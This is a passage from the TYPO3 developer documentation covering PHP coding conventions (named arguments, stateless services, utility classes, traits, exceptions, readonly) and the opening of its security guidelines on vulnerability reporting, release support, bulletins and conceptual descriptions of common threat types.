  • Avoiding complications and side effects during refactoring
  • Addressing legacy code within the TYPO3 Core containing methods with less-desirable variable names, aiming for gradual improvement without disruptions
  • Preventing issues with inheritance, especially in situations like this:

    PHP error using named arguments and inheritance
    interface I {
        public function test($foo, $bar);
    }
    
    class C implements I {
        public function test($a, $b) {}
    }
    
    $obj = new C();
    
    // Pass params according to I::test() contract
    $obj->test(foo: "foo", bar: "bar"); // ERROR!
    Copied!

Utilizing named arguments in PHPUnit test data providers

The use of named arguments in PHPUnit test data providers is permitted and encouraged, particularly when enhancing readability. Take, for example, this instance where PHPUnit utilizes the array keys languageKey and expectedLabels as named arguments in the test:

PHPUnit data provider using named arguments
final class XliffParserTest extends UnitTestCase
{
    public static function canParseXliffDataProvider(): \Generator
    {
        yield 'Can handle default' => [
            'languageKey' => 'default',
            'expectedLabels' => [
                'label1' => 'This is label #1',
                'label2' => 'This is label #2',
                'label3' => 'This is label #3',
            ],
        ];
        yield 'Can handle translation' => [
            'languageKey' => 'fr',
            'expectedLabels' => [
                'label1' => 'Ceci est le libellé no. 1',
                'label2' => 'Ceci est le libellé no. 2',
                'label3' => 'Ceci est le libellé no. 3',
            ],
        ];
    }

    #[DataProvider('canParseXliffDataProvider')]
    #[Test]
    public function canParseXliff(string $languageKey, array $expectedLabels): void
    {
        // Test implementation
    }
}
Copied!

Leveraging named arguments when invoking PHP functions

TYPO3 Core may leverage named arguments when calling PHP functions, provided it enhances readability and simplifies the invocation. It is allowed for functions with more than three arguments. If named arguments are used, all arguments must be named, mixtures are not allowed.

Let’s do this by example. Function json_decode() has this signature:

json_decode() function signature
json_decode(
    string $json,
    ?bool $associative = null,
    int $depth = 512,
    int $flags = 0
): mixed
Copied!

In many cases, the arguments $associative and $depth suffice with their default values, while $flags typically requires JSON_THROW_ON_ERROR. Using named arguments in this scenario, bypassing the default values, results in a clearer and more readable solution:

Calling json_decode() using named arguments
json_decode(json: $myJsonString, flags: JSON_THROW_ON_ERROR);
Copied!

Another instance arises with complex functions like preg_replace(), where developers often overlook argument positions and names:

Calling preg_replace() using named arguments
$configurationFileContent = preg_replace(
    pattern: sprintf('/%s/', implode('\s*', array_map(
        static fn($s) => preg_quote($s, '/'),
        [
            'RewriteCond %{REQUEST_FILENAME} !-d',
            'RewriteCond %{REQUEST_FILENAME} !-l',
            'RewriteRule ^typo3/(.*)$ %{ENV:CWD}index.php [QSA,L]',
        ]
    ))),
    replacement: 'RewriteRule ^typo3/(.*)$ %{ENV:CWD}index.php [QSA,L]',
    subject: $configurationFileContent,
    count: $count
);
Copied!

Services

Characteristics

  • Services MUST be used as objects, they are never static.
  • Services SHOULD be stateless and shared.
  • Services MAY use their own configuration, but they SHOULD not.
  • Services MAY have dependencies to other services and SHOULD get them injected using TYPO3 Core dependency injection.

Rationale

Modern PHP programming primarily involves two types of classes: Services and data objects (DO).

This distinction has gained significance with the introduction of dependency injection in the TYPO3 core.

A well-designed service class comprise of one or more methods that process data, or just provide a data sink. For example, a mailer service might take a mail data object to send it. Conversely, service methods often return new or modified data based on input. A typical example is a repository service that accepts an identifier (e.g. the uid of a product) and returns a data object (the product).

Services may depend on other services and should use dependency injection to obtain these dependencies, typically using constructor injection for "leaf" classes and method injection for abstract classes.

In TYPO3, most classes are service classes unless they function as data objects to transport data.

Services should be stateless. The result of a service method call should only depend on the given input arguments and the service should not keep track of previous calls made. This is an important aspect of well crafted services. It reduces complexity significantly when a service does not hold data itself: It does not matter how often or in which context that service may have been called before. It also means that stateless services can be "shared" and declared readonly: They are instantiated only once and the same instance is injected to all dependent services.

TYPO3 core has historically stateful services that blend service class and data object characteristics. These stateful services pose issues in a service-oriented architecture: Injecting a stateful service into a stateless service make the latter stateful, potentially causing unpredictable behavior based on the prior state of the injected service. A clear example is the core DataHandler class which modifies numerous data properties when its primary API methods are called. Such instances become "tainted" after use, and should not be injected but created on-demand using GeneralUtility::makeInstance().

Good Examples

  • \TYPO3\CMS\Core\Configuration\FlexForm\FlexFormTools has been refactored in TYPO3 v13 to be stateless:

    • A shared and readonly service with a few dependencies
    • A clear scope with reasonable API methods
    • No data properties

Bad Examples

  • \TYPO3\CMS\Core\DataHandling\DataHandler

    • Far too complex
    • Heavily stateful

Service aliases

TYPO3 core provides several service aliases, but it does not add additional aliases arbitrarily. Injecting state, as in the extension-configuration example, makes services stateful, which is undesirable unless the state does not change at runtime. Aliases for services that act as shortcuts for factories, like the cache.runtime example, will only be added for services that are used very frequently.

Service aliases also present backward compatibility challenges when modified. To avoid excessive clutter, TYPO3 core limits the number of service aliases. Developers needing aliases for core services can always add them in instance-specific extensions. The inclusion of such aliases in TYPO3 core will remain a case-by-case decision.

Further Reading

Static Methods, static Classes, Utility Classes

Characteristica

  • A utility class MUST contain only static methods.
  • Utility classes MUST NOT have state, no local properties, no DB access, … .
  • Utility methods MAY call other utility methods.
  • Utility class methods MUST NOT have dependencies to non static methods like other class instances or global variables.
  • Utility class methods MUST have high unit test coverage.
  • Utility class scope MUST be small and domain logic MUST NOT be encapsulated in static methods.
  • Utility classes MUST be located in a utility sub folder and MUST end with Utility, eg. FoobarUtility.
  • Static methods MUST be located in utility classes and SHOULD NOT be added to other classes, except a specific pattern has a hard requirement to a static helper method within its class. All classes outside a utility folder MUST be instantiated and handled as object instances.
  • Static methods MUST call other static methods of the same class using the PHP self keyword instead of the class name.

Rationale

Static methods as cross-cutting concern solution have been in the Core ever since. They are an easy way to extract recurring coding problems to helper methods.

Static methods however have a list of issues that need to be taken into consideration before deciding to use them. First, they can not be extended in a sane way and the Core framework has no way to re-route a static method call to a different implementation. They are a hard coded dependency in a system. They can not be easily “mocked away” in unit tests if a class uses a static method from a different class. They especially raise issues if a static method keeps state in static properties, this is similar to a de-facto singleton and it is hard to reset or manipulate this state later. Static properties can easily result in side effects to different using systems. Additionally, static methods tend to become too complex, doing too much at a time and becoming god methods in long run. Big and complex utility methods doing too much at a time is a strong sign something else was not modeled properly at a different place.

The Core has a long history of static utility class misuse and is in an ongoing effort to model stuff correctly and getting rid of static utility god classes that happily mix different concerns. Solving some of these utility methods to proper class structures typically improves code separation significantly and renders Core parts more flexible and less error prone.

With this history in mind, Core development is rather sensible when new static utility classes should be added. During reviews, a heavy introduction of static classes or methods should raise red lights, it is likely some abstraction went wrong and the problem domain was not modeled well enough.

A “good” static method in a utility class can be thought of as if the code itself is directly embedded within the consuming classes. It is mostly an extraction of a common programming problem that can not be abstracted within the class hierarchy since multiple different class hierarchies have the same challenge. Good static methods contain helper code like dedicated array manipulations or string operations. This is why the majority of static utility classes is located within the Core extension in the Core and other extension have little number of utility classes.

Good static methods calls are not “mocked away” in unit tests of a system that calls a static method and are thus indirectly tested together with the system under test as if the code is directly embedded within the class. It is important to have good test coverage for the static method itself, defining the method behaviour especially for edge cases.

Good Examples

  • Core/Utility/ArrayUtility

    • Clear scope - array manipulation helpers.
    • Well documented, distinct and short methods doing only one thing at a time with decent names and examples.
    • High test coverage taking care of edge case input output scenarios acting as additional documentation of the system.
    • No further dependencies.
  • Core/Utility/VersionNumberUtility

    • Clear scope - a group of helper methods to process version number handling.
    • Good test coverage defining the edge cases.
    • Defines how version handling is done in TYPO3 and encapsulates this concern well.

Bad Examples

  • Backend/Utility/BackendUtility

    • Global access, third party dependencies.
    • Stateful methods.
    • No clear concern.
    • God methods.
  • Core/Utility/MailUtility

    • Good: Relatively clear focus, but:
    • Stateful, external dependencies to objects, depends on configuration.
    • Relatively inflexible.
    • This should probably “at least” be a service.
  • Core/Utility/RootlineUtility

    • Not static.
    • Should probably be a dedicated class construct, probably a service is not enough. Why is this not part of a tree structure?

Red Flags

  • $GLOBALS: Utility code should not have dependencies to global state or global objects.

Traits

Characteristica

  • A trait MAY access properties or methods of the class it is embedded in.
  • A trait MUST be combined with an interface. Classes using a trait must implement at least this interface.
  • A trait interface MUST have a default implementation trait.

Rationale

There is one specific feature that traits provide other abstraction solutions like services or static extraction do not: A trait is embedded within the class that consumes it and as such can directly access methods and properties of this class. A trait typically holds state in a property of the class. If this feature is not needed, traits should not be used. Thus, the trait itself may even have a dependency to the class it is embedded in, even if this is rather discouraged.

A simple way to look at this is to see the interface as the main feature with the trait providing a single or maybe two default implementations of the interface for a specific class.

One usage of traits is the removal of boilerplate code. While object creation and dependency injection is still a not resolved issue in the Core, this area is probably a good example where a couple of traits would be really useful to autowire default functionality like logging into classes with very little developer effort and in a simple and understandable way. It should however be kept in mind that traits must always be used with care and should stay as a relatively seldom used solution. This is one reason why the current getLanguageService() and similar boilerplate methods are kept within classes directly for now and is not extracted to traits: Both container system and global scope objects are currently not finally decided and we don’t want to have relatively hard to deprecate and remove traits at this point.

Good Examples

  • \Symfony\Component\DependencyInjection\ContainerAwareInterface with \Symfony\Component\DependencyInjection\ContainerAwareTrait as default implementation

    • The ContainerAwareInterface is tested to within the dependency injection system of symfony and the trait is a simple default implementation that easily adds the interface functionality to a given class.
    • Good naming.
    • Clear scope.
  • LoggerAwareInterface with a default trait.

Bad Examples

  • Old \TYPO3\CMS\FluidStyledContent\ViewHelpers\Menu\MenuViewHelperTrait (available in previous TYPO3 versions)

    • Contains only protected methods, can not be combined with interface.
    • Contains getTypoScriptFrontendController(), hides this dependency in the consuming class.
    • No interface.
    • It would have probably been better to add the trait code to a full class and just use it in the according view helpers (composition) or implement it as abstract.

For these reasons the trait has been dissolved into an AbstractMenuViewHelper.

Further Reading

See https://www.rosstuck.com/how-i-use-traits.

Working with exceptions

Introduction

Working with exceptions in a sane way is a frequently asked topic. This section aims to give some good advice on how to deal with exceptions in TYPO3 world and especially which types of exceptions should be thrown under which circumstances.

First of, exceptions are a good thing - there is nothing bad with throwing them. It is often better to throw an exception than to return a “mixed” return value from a method to signal that something went wrong. TYPO3 has a tradition of methods that return either an expected result set - for instance an array - or alternatively a boolean false on error. This is often confusing for callers and developers tend to forget to implement proper error handling for such “false was returned” cases. This easily leads to hard to track problems. It is often a much better choice to throw an exception if something went wrong: This gives the chance to throw a meaningful message directly to the developer or to a log file for later analysis. Additionally, an exception usually comes along with a backtrace.

Exception types

Exceptions are a good thing, but how to decide on what to throw exactly? The basic idea is: If it is possible that an exception needs to be caught by a higher level code segment, then a specific exception type - mostly unique for this case - should be thrown. If the exception should never be caught, then a top-level PHP built-in exception should be thrown. For PHP built-in exceptions, the actual class is not crucial, if in doubt, a \RuntimeException fits - it is much more important to throw a meaningful exception message in those cases.

Typical cases for exceptions that are designed to be caught

  • Race conditions than can be created by editors in a normal workflow:

    • Editor 1 calls list module and a record is shown.
    • Editor 2 deletes this record.
    • Editor 1 clicks the link to open this deleted record.
    • The code throws a catchable, specific named exception that is turned into a localized error message shown to the user "The record 12 from table tt_content you tried to open has been deleted …".
  • Temporary issues: Updating the extension list in the Extension Manager fails because of a network issue - The code throws a catchable, named exception that is turned into a localized error message shown to the user "Can not connect to update servers, please check internet connection …".

Typical cases for exceptions that should not be caught

  • Wrong configuration: A FlexForm contains a type=inline field. At the time of this writing, this case was not implemented, so the code checks for this case and throws a top-level PHP built-in exception ( \RuntimeException in this case) to point developers to an invalid configuration scenario.
  • Programming error / wrong API usage: Code that can not do its job because a developer did not take care and used an API in a wrong way. This is a common reason to throw an exception and can be found at lots of places in the Core. A top-level exception like \RuntimeException should be thrown.

Typical exception arguments

The standard exception signature:

EXT:my_extension/Classes/Exceptions/MyException.php
public function __construct(
    string $message = "",
    int $code = 0,
    \Throwable $previous = null,
) {
    // ... the logic
}
Copied!

TYPO3 typically uses a meaningful exception message and a unique code. Uniqueness of $code is created by using a Unix timestamp of now (the time when the exception is created): This can be easily created, for instance using the trivial shell command date +%s. The resulting number of this command should be directly used as the exception code and never changed again.

Throwing a meaningful message is important especially if top-level exceptions are thrown. A developer receiving this exception should get all useful data that can help to debug and mitigate the issue.

Example:

EXT:my_extension/Classes/Exceptions/MyException.php
use MyVendor\SomeExtension\File\FileNotAccessibleException;
use MyVendor\SomeExtension\File\FileNotFoundException;

// ...

if ($pid === 0) {
    throw new \RuntimeException('The page "' . $pid . '" cannot be accessed.', 1548145665);
}

$absoluteFilePath = GeneralUtility::getFileAbsFileName($filePath);

if (is_file($absoluteFilePath)) {
    $file = fopen($absoluteFilePath, 'rb');
} else {
    // prefer speaking exception names, add custom exceptions if necessary
    throw new FileNotFoundException('File "' . $absoluteFilePath . '" does not exist.', 1548145672);
}

if ($file == null) {
    throw new FileNotAccessibleException('File "' . $absoluteFilePath . '" cannot be read.', 1548145672);
}
Copied!

Exception inheritance

A typical exception hierarchy for specific exceptions in the Core looks like \MyVendor\MyExtension\Exception extends \TYPO3\CMS\Core\Exception, where \TYPO3\CMS\Core\Exception is the base of all exceptions in TYPO3.

Building on that you can have MyVendor\MyExtension\Exception\AFunctionality\ASpecificException extends MyVendor\MyExtension\Exception for more specific exceptions. All of your exceptions should extend your extension-specific base exception.

So, as rule: As soon as multiple different specific exceptions are thrown within some extension, there should be a generic base exception within the extension that is not thrown itself, and the specific exceptions that are thrown then extend from this class.

Typically, only the specific exceptions are caught however. In general, the inheritance hierarchy should not be extended much deeper and should be kept relatively flat.

Extending exceptions

It can become handy to extend exceptions in order to transport further data to the code that catches the exception. This can be useful if an exception is caught and transformed into a localized flash message or a notification. Typically, those additional pieces of information should be added as additional constructor arguments:

EXT:my_extension/Classes/Exceptions/MyException.php
public function __construct(
    string $message = "",
    int $code = 0,
    \Throwable $previous = null,
    string $additionalArgument = '',
    int $anotherArgument = 0,
) {
    // ... the logic
}
Copied!

There should be getters for those additional data parts within the exception class. Enriching an exception with additional data should not happen with setter methods: Exceptions have a characteristics similar to “value objects” that should not be changed. Having setters would spoil this idea: Once thrown, exceptions should be immutable, thus the only way to add data is by handing it over as constructor arguments.

Good examples

  • \TYPO3\CMS\Backend\Form\FormDataProvider\AbstractDatabaseRecordProvider , \TYPO3\CMS\Backend\Form\FormDataProvider\DatabaseEditRow , \TYPO3\CMS\Backend\Form\Exception\DatabaseRecordException , \TYPO3\CMS\Backend\Form\FormDataProvider\TcaInline

    • Scenario: DatabaseEditRow may throw a DatabaseRecordException if the record to open has been deleted meanwhile. This can happen in inline scenarios, so the TcaInline data provider catches this exception.
    • Good: Next to a meaningful exception message, the exception is enriched with the table name and the uid it was handling in __construct() to hand over further useful information to the catching code.
    • Good: The catching code catches this specific exception, uses the getters of the exception to get the additional data and creates a localized error message from it that is enriched with further data that only the catching code knows.
    • Good: The exception hierarchy is relatively flat - it extends from a more generic \Backend\Form\Exception which itself extends from \Backend\Exception which extends \Exception. The \Backend\Form\Exception could have been left out, but since the backend extension is so huge, the author decided to have this additional class layer in between.
    • Good: The method that throws has @throws annotations to hint IDEs like PhpStorm that an exception may be received using that method.
    • Bad: The exception could have had a more dedicated name like DatabaseRecordVanishedException or similar.
  • \TYPO3\CMS\Backend\Form\FormDataProvider\AbstractDatabaseRecordProvider

    • Good: method getRecordFromDatabase() throws exceptions at four different places with only one of them being catchable ( DatabaseRecordException) and the other three being top-level PHP built-in exceptions that indicate a developer / code usage error.
    • Bad: The generic exception messages could be more verbose and explain in more detail on what went wrong.

Bad examples

  • \TYPO3\CMS\Core\Resource\FileRepository method findFileReferenceByUid()

    • Bad: The top-level PHP built-in is caught.

      This is not a good idea and indicates something is wrong in the code that may throw this exception. A specific exception should be caught here only.

    • Bad: Catching \RuntimeException.

      This may hide more serious failures from an underlying library that should better have been bubbling up. The same holds for \Exception.

    • Bad: Catching this exception is used to change the return value of the method to false.

      This would make it a method that returns multiple different types.

Further readings

See How to Design Exception Hierarchies.

Singletons

This chapter is largely obsolete in modern TYPO3 programming where services are used correctly: Stateless services should be "shared", meaning the service container creates a single instance and injects that instance into all other services that require it. These services are referred to as "singletons".

TYPO3 has an old way of designating a class as a singleton: Classes that implement SingletonInterface . This approach dates back to a time before TYPO3 offered a comprehensive dependency injection solution. The interface is still considered when injecting such a service and when creating an instance via GeneralUtility::makeInstance().

Example:

EXT:some_extension/Classes/MySingletonService.php
namespace Vendor\SomeExtension;

class MySingletonClass implements \TYPO3\CMS\Core\SingletonInterface
{
    // …
}
Copied!

SingletonInterface has no methods to implement. Services implementing the interface are automatically declared public.

Due to the overlap with "shared services", TYPO3 core development is gradually reducing the number of classes that implement SingletonInterface. This process often involves transforming service classes into stateless services, using dependency injection in service consumers, and updating tests to avoid reliance on the test-related method GeneralUtility::addSingletonInstance(). It is a gradual transition that requires time.

Extension developers should also refrain from using SingletonInterface: New code should not depend on it, and existing code be refactored to eliminate its usage over time.

About readonly

PHP v8.1 introduced readonly properties while PHP v8.2 added readonly classes. readonly properties can only be written once - usually in the constructor.

Declaring services and value objects as readonly is beneficial for TYPO3 Core and extensions, offering immutability and clarity regarding the statelessness of services.

This document discusses the use of readonly within the TYPO3 Core ecosystem, outlining best practices for TYPO3 extension and Core developers regarding the adoption and avoidance of this language feature.

Readonly services

Readonly properties align seamlessly with services using constructor injection, e.g.:

final class UserController
{
    private string $someProperty = 'foo';

    public function __construct(
        private readonly SomeDependency $someDependency,
    ) {}

    // ...
}
Copied!

Well designed stateless services with no properties apart from those declared using constructor property promotion can be declared readonly on class level:

final readonly class UserController
{
    public function __construct(
        private SomeDependency $someDependency,
    ) {}

    // ...
}
Copied!

Declaring properties or - even better - entire service classes readonly is a great way to clarify possible impact of state within services: If used correctly, readonly tells developers this service is stateless, shared, and can be used in any context and as often as needed without side effects from previous usages, and without influencing possible further usages within the same request. Statelessness is an important asset of services and readonly helps to sort out this question.

Even when a service class is declared as readonly, ensuring immutability at its level, it can still become stateful if any of its injected dependencies are stateful. This undermines the benefits of readonly design, as statefulness in dependencies can introduce unintended side effects and compromise the stateless nature of the service. TYPO3 Core strives to avoid such scenarios, particularly for services that are widely used by extensions. This ensures predictable behavior, minimizes side effects, and maintains consistency in the broader ecosystem. Developers should carefully analyze dependencies for statefulness when designing readonly services.

The TYPO3 Core development adopted the readonly feature early, recognizing its advantages for improving immutability, reducing side effects, and clarifying service design. However, its use requires careful consideration. The Core merger team established guidelines to determine when readonly can and should be added, which also serve as best practices for extension developers:

  • General Recommendation: Declaring services or their properties as readonly is highly encouraged. Once added, the readonly declaration is rarely removed since it aligns with the effort to make services stateless.
  • Leaf Classes: Existing services that are "leaf" classes (i.e., not intended to be extended by other classes) can have readonly applied to single properties or the entire class. This is typically not considered a breaking change, even in stable code branches, as it only affects XCLASS extensions, which are not covered by TYPO3's backward compatibility promise.
  • Method Injection: Services retrieved via inject*() methods are not currently declared readonly, as tools like PHPStan expect readonly properties to be initialized in the constructor only. This might change in the future, but it is not a high priority.
  • Abstract Classes: Existing abstract classes that are intended for extension by developers should not be declared readonly. Declaring an abstract class readonly would force all inheriting classes to also be readonly, which can create compatibility issues for extensions that need to support multiple TYPO3 versions. For example, Extbase's abstract ActionController will not be declared readonly.

Readonly value objects

Readonly value objects are immutable by design. They align seamlessly with public constructor property promotion for simplicity:

Read only value object using public constructor property promotion
final readonly class Label
{
    public function __construct(
        public string $label,
        public string $color = '#ff8700',
        public int $priority = 0,
    ) {}
}
Copied!

Immutable objects improve reliability and reduce side effects. TYPO3 Core gradually adopts immutability for newly created constructs and selectively for existing data objects. Such final readonly data objects must be instantiated using new() and named arguments.

Summary

Readonly properties and classes provide a robust framework for stateless, immutable design in TYPO3 services and simplifies value objects. While Core development continues adopting these features, extension developers are encouraged to follow these best practices to enhance code clarity and maintainability.

Security guidelines

TYPO3 is built with strong security principles, but maintaining a secure installation requires ongoing attention from everyone involved — administrators, integrators, developers, and editors.

This guide provides practical recommendations to protect your TYPO3 instance from common threats such as unauthorized access, insecure configurations, extension vulnerabilities, and more.

It also explains how to respond to incidents, how the TYPO3 Security Team operates, and where to stay informed about updates and security advisories.

Each section focuses on a particular role, topic, or concern, helping you quickly find the information most relevant to your responsibilities or situation.

TYPO3 security overview

TYPO3 takes security seriously—both in its Core development and through the work of the official TYPO3 Security Team. But security is not just a feature of the system. It is a shared responsibility that involves system administrators, integrators, editors, and developers.

This chapter outlines common risks and how to mitigate them. It also explains how the TYPO3 Security Team handles incidents and how to respond if your site is compromised.

Security is not a fixed state—it is an ongoing process. Protecting your site requires regular review, timely updates, and responsible access control.

Reporting a security issue

If you would like to report a security issue in a TYPO3 extension or the TYPO3 Core system, please report it to the TYPO3 Security Team. Please refrain from making anything public before an official fix is released. Read more about the process of incident handling by the TYPO3 Security Team.

Working with the TYPO3 Security Team

You can find details about the TYPO3 Security Team at https://typo3.org/community/teams/security/.

You can contact the TYPO3 Security Team at security@typo3.org .

TYPO3 Core security updates, extension security updates, and unmaintained insecure extensions are announced in formal TYPO3 Security Bulletins.

Reporting a security issue

If you find a security issue in the TYPO3 Core system or in a TYPO3 extension (even if it is your own development), please report it to the TYPO3 Security Team – the Security Team only. Do not disclose the issue in public (for example in mailing lists, forums, on Twitter, your website or any 3rd party website).

The team strives to respond to all reports within 2 working days, but please allow a reasonable amount of time to assess the issue and get back to you with an answer. If you suspect that your report has been overlooked, feel free to submit a reminder a few days after your initial submission.

Extension review

The TYPO3 Security Team does not perform individual reviews or audits of TYPO3 extensions.

If you require a professional security audit of your extension or website, consider engaging an experienced TYPO3 agency. Official TYPO3 Solution Partners often provide such services, including:

  • Security audits
  • Code and architecture reviews
  • Consulting on best practices

You can find a list of official TYPO3 partners at: https://typo3.com/partners

Additionally, some third-party providers also offer TYPO3 security services. Make sure to evaluate their experience and qualifications carefully.

Incident handling

This section provides detailed information about the differences between the TYPO3 Core system and TYPO3 extensions and how the TYPO3 Security Team deals with security issues of those.

Security issues in the TYPO3 Core

If the TYPO3 Security Team gains knowledge about a security issue in the TYPO3 Core system, they work closely together with the developers of the appropriate component of the system, after verifying the problem. A fix for the vulnerability will be developed, carefully tested and reviewed. Together with a public security bulletin, a TYPO3 Core update will be released. Please see next chapter for further details about TYPO3 versions and security bulletins.

Security issues in TYPO3 extensions

When the TYPO3 Security Team receives a report of a security issue in an extension, the issue will be checked in the first stage. If a security problem can be confirmed, the Security Team tries to get in touch with the extension developer and requests a fix. Then one of the following situations usually occurs:

  • the developer acknowledges the security vulnerability and delivers a fix
  • the developer acknowledges the security vulnerability but does not provide a fix
  • the developer refuses to produce a security fix (e.g. because he does not maintain the extension anymore)
  • the developer cannot be contacted or does not react

In the case where the extension author fails to provide a security fix in an appropriate time frame (see below), all affected versions of the extension will be removed from the TYPO3 Extension Repository (TER) and a security bulletin will be published (see below), recommending to uninstall the extension.

If the developer provides the TYPO3 Security Team with an updated version of the extension, the team reviews the fix and checks if the problem has been solved. The Security Teams also prepares a security bulletin and coordinates the release date of the new extension version with the publication date of the bulletin.

Extension developers must not upload the new version of the extension before they received the go-ahead from the Security Team.

If you discover a security problem in your own extension, please follow this procedure as well and coordinate the release of the fixed version with the TYPO3 Security Team.

Further details about the handling of security incidents and time frames can be found in the official TYPO3 Extension Security Policy

TYPO3 version support and security updates

TYPO3 evolves through regular releases, including Long Term Support (LTS) versions and Sprint Releases. This page explains which versions are supported, how security updates are announced, and what to expect from TYPO3's Core and extension maintenance. It also shows how to stay informed and react quickly to vulnerabilities.

TYPO3 versions and lifecycle

TYPO3 is offered in Long Term Support (LTS) and Sprint Release versions.

The first versions of each branch are Sprint Release versions. A Sprint Release version only receives support until the next Sprint Release got published. For example, TYPO3 v12.0.0 was the first Sprint Release of the v12 branch and its support ended when TYPO3 v12.1.0 got released.

An LTS version is planned to be created every 18 months. LTS versions are created from a branch in order to finalize it: Prior to reaching LTS status, a number of Sprint Releases has been created from that branch and the release of an LTS version marks the point after which no new features will be added to this branch. LTS versions get full support (bug fixes and security fixes) for at least three years. TYPO3 version 11 (v11) and v12 are such LTS versions.

The minor-versions are skipped in the official naming. 13 LTS is version v13.4 internally and 12 LTS is v12.4. Versions inside a major-version have minor-versions as usual (v13.0, v13.1, ...) until at some point the branch receives LTS status.

Support and security fixes are provided for the current as well as the preceding LTS release. For example, when TYPO3 v13 is the current LTS release, TYPO3 v12 is still actively supported, including security updates.

For users of v12 an update to v13 is recommended. All versions below TYPO3 v12 are outdated and the regular support of these versions has ended, including security updates. Users of these versions are strongly encouraged to update their systems as soon as possible.

In cases where users cannot yet upgrade to a supported version, the TYPO3 GmbH is offering an Extended Long Term Support (ELTS) service for up to three years after the regular support has ended. Subscribers to the ELTS plans receive security and compatibility updates.

Information about ELTS is available at https://typo3.com/services/extended-support-elts

LTS and Sprint Releases offer new features and often a modified database structure. Also the visual appearance and handling of the backend may be changed and appropriate training for editors may be required. The content rendering may change, so that updates in TypoScript, templates or CSS code may be necessary. With LTS and Sprint Releases also the system requirements (for example PHP or MySQL version) may change. For a patch level release (i.e. changing from release v12.4.0 to v12.4.1) the database structure and backend will usually not change and an update will only require the new version of the source code.

List of TYPO3 LTS releases:

Difference between Core and extensions

The TYPO3 base system is called the Core. The functionality of the Core can be expanded, using extensions. A small, selected number of extensions (the system extensions) are being distributed as part of the TYPO3 Core. The Core and its system extensions are being developed by a relatively small team (40-50 people), consisting of experienced and skilled developers. All code being submitted to the Core is reviewed for quality by other Core Team members.

Currently there are more than 5500 extensions available in the TYPO3 Extension Repository (TER), written by some 2000 individual programmers. Since everybody can submit extensions to the TER, the code quality varies greatly. Some extensions show a very high level of code quality, while others have been written by amateurs. Most of the known security issues in TYPO3 have been found in these extensions, which are not part of the Core system.

Announcement of updates and security fixes

Information about new TYPO3 releases as well as security bulletins are being announced on the "TYPO3 Announce" mailing list. Every system administrator who hosts one or more TYPO3 instances, and every TYPO3 integrator who is responsible for a TYPO3 project should subscribe to this mailing list, as it contains important information. You can subscribe at https://lists.typo3.org/cgi-bin/mailman/listinfo/typo3-announce.

This is a read-only mailing list, which means that you cannot reply to a message or post your own messages. The announce list typically does not distribute more than 3 or 4 mails per month. However it is highly recommended to carefully read every message that arrives, because they contain important information about TYPO3 releases and security bulletins.

Other communication channels such as https://news.typo3.org/, a RSS feed, an official Twitter account @typo3\_security etc. can be used additionally to stay up-to-date on security advisories.

Security bulletins

When security updates for TYPO3 or an extension become available, they will be announced on the "TYPO3 Announce" mailing list, as described above, but also published with much more specific details on the official TYPO3 Security Team website at https://typo3.org/help/security-advisories/.

Security bulletins for the TYPO3 Core are separated from security bulletins for TYPO3 extensions. Every bulletin has a unique advisory identifier such as TYPO3-CORE-SA-yyyy-nnn (for bulletins applying to the TYPO3 Core ) and TYPO3-EXT-SA-yyyy-nnn (for bulletins applying to TYPO3 extensions), where yyyy stands for the appropriate year of publication and nnn for a consecutively increasing number.

The bulletins contain information about the versions of TYPO3 or versions of the extension that are affected and the type of security issue (e.g. information disclosure, cross-site scripting, etc.). The bulletin does not contain an exploit or a description on how to (ab)use the security issue.

For some critical security issues the TYPO3 Security Team may decide to pre-announce a security bulletin on the "TYPO3 Announce" mailing list. This is to inform system administrators about the date and time of an upcoming important bulletin, so that they can schedule the update.

Security issues in the TYPO3 Core which are only exploitable by users with administrator privileges (including system components that are accessible by administrators only, such as the Install Tool) are treated as normal software "bugs" and are fixed as part of the standard Core review process. This implies that the development of the fix including the review and deployment is publicly visible and can be monitored by everyone.

Public service announcements

Important security related information regarding TYPO3 products or the typo3.org infrastructure are published as so called "Public Service Announcements" (PSA). Unlike other advisories, a PSA is usually not accompanied by a software release, but still contain information about how to mitigate a security related issue.

Topics of these advisories include security issues in third party software like such as Apache, Nginx, MySQL, PHP, etc. that are related to TYPO3 products, possible security related misconfigurations in third party software, possible misconfigurations in TYPO3 products, security related information about the server infrastructure of typo3.org and other important recommendations how to securely use TYPO3 products.

Common vulnerability scoring system (CVSS)

Since 2010 the TYPO3 Security Team also publishes a CVSS rating with every security bulletin. CVSS ("Common Vulnerability Scoring System" is a free and open industry standard for communicating the characteristics and impacts of vulnerabilities in Information Technology. It enables analysts to understand and properly communicate disclosed vulnerabilities and allows responsible personnel to prioritize risks. Further details about CVSS are available at https://www.first.org/cvss/user-guide

Types of Security Threats

This section provides a brief overview of the most common security threats to give the reader a basic understanding of them. The sections for system administrators, TYPO3 integrators and editors explain in more detail how to secure a system against those threats.

Information disclosure

This means that the system makes (under certain circumstances) information available to an outside person. Such information could be sensitive user data (e.g. names, addresses, customer data, credit card details, etc.) or details about the system (such as the file system structure, installed software, configuration options, version numbers, etc). An attacker could use this information to craft an attack against the system.

There is a fine line between the protection against information disclosure and so called "security by obscurity". Latter means, that system administrators or developers try to protect their infrastructure or software by hiding or obscuring it. An example would be to not reveal that TYPO3 is used as the content management system or a specific version of TYPO3 is used. Security experts say, that "security by obscurity" is not security, simply because it does not solve the root of a problem (e.g. a security vulnerability) but tries to obscure the facts only.

Identity theft

Under certain conditions it may be possible that the system reveals personal data, such as customer lists, e-mail addresses, passwords, order history or financial transactions. This information can be used by criminals for fraud or financial gains. The server running a TYPO3 website should be secured so that no data can be retrieved without the consent of the owner of the website.

SQL injection

With SQL injection the attacker tries to submit modified SQL statements to the database server in order to get access to the database. This could be used to retrieve information such as customer data or user passwords or even modify the database content such as adding administrator accounts to the user table. Therefore it is necessary to carefully analyze and filter any parameters that are used in a database query.

Code injection

Similar to SQL injection described above, "code injection" includes commands or files from remote instances (RFI: Remote File Inclusion) or from the local file system (LFI: Local File Inclusion). The fetched code becomes part of the executing script and runs in the context of the TYPO3 site (so it has the same access privileges on a server level). Both attacks, RFI and LFI, are often triggered by improper verification and neutralization of user input.

Local file inclusion can lead to information disclosure (see above), for example reveal system internal files which contain configuration settings, passwords, encryption keys, etc.

Authentication bypass

In an authorization bypass attack, an attacker exploits vulnerabilities in poorly designed applications or login forms (e.g. client-side data input validation). Authentication modules shipped with the TYPO3 Core are well-tested and reviewed. However, due to the open architecture of TYPO3, this system can be extended by alternative solutions. The code quality and security aspects may vary, see chapter Guidelines for TYPO3 Integrators: TYPO3 extensions for further details.

Cross-site scripting (XSS)

